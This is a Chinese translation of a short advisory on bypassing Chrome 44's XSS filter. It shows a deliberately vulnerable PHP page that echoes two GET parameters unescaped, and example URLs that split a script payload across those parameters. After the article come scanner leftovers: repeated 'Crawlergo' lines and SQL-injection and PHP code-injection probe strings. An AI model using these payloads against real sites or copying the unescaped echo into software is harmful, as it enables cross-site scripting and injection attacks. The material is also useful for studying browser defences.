Google Chrome 44.0.2403.157 XSS Filter Bypass
原文地址:http://cxsecurity.com/issue/WLB-2015080141
像你所熟知的,chrome 处于安全原因,不会执行跨站脚本中的 JS 代码,并且通过这个方法阻止了很多 XSS 攻击。假如现在你有一个受 XSS 影响的 PHP 代码 (chrome.php):
<?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";
// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>
这个 PHP 文件接收两个参数,并且未经任何过滤就输出,这允许你去运行 JS 代码了。如果你在 chrome 中测试类似下面的 xss payload:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)</script>&text2=Something
你会发现他不会弹窗,并且 JS 代码显示出来了,而且还会发现你的代码被红色高亮了。这是因为 chrome 极高的安全性,如果你测试其他的类似代码,你会发现相同的结果。但是,我们尝试一下不闭合<script>
标签,像这样:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=Something
代码又一次的被显示出来了,但是没有任何红色高亮的警告了,JS 代码被作为 HTML 文本进行识别,因为没有闭合标签。现在必须要标签,试一下在 $_GET['text2'] 中闭合。
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=</script>
在这次测试中,你的代码完全的显示了出来,完全没有被红色高亮标记,但是又一次被视为 HTML 文本。我们来试一下用引号并且在两个引号中放一些非代码的文本!举个例子,使用void('')
,在第一个参数中传入('
,并且在另一个参数中使用')
闭合。
现在试一下:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script>
很棒,你发现弹窗了!你的 JS 代码被执行了!这正是我们想要的。你也可以使用document.write('')
或其他的来代替void('')
。
上个例子:
http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
'+(41962*43547)+'
Crawlergo
Crawlergo
Crawlergo'and/**/extractvalue(1,concat(char(126),md5(1552940920)))and'
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo"and/**/extractvalue(1,concat(char(126),md5(1683489292)))and"
Crawlergo
${@var_dump(md5(942406474))};
Crawlergo
Crawlergo
'-var_dump(md5(663439483))-'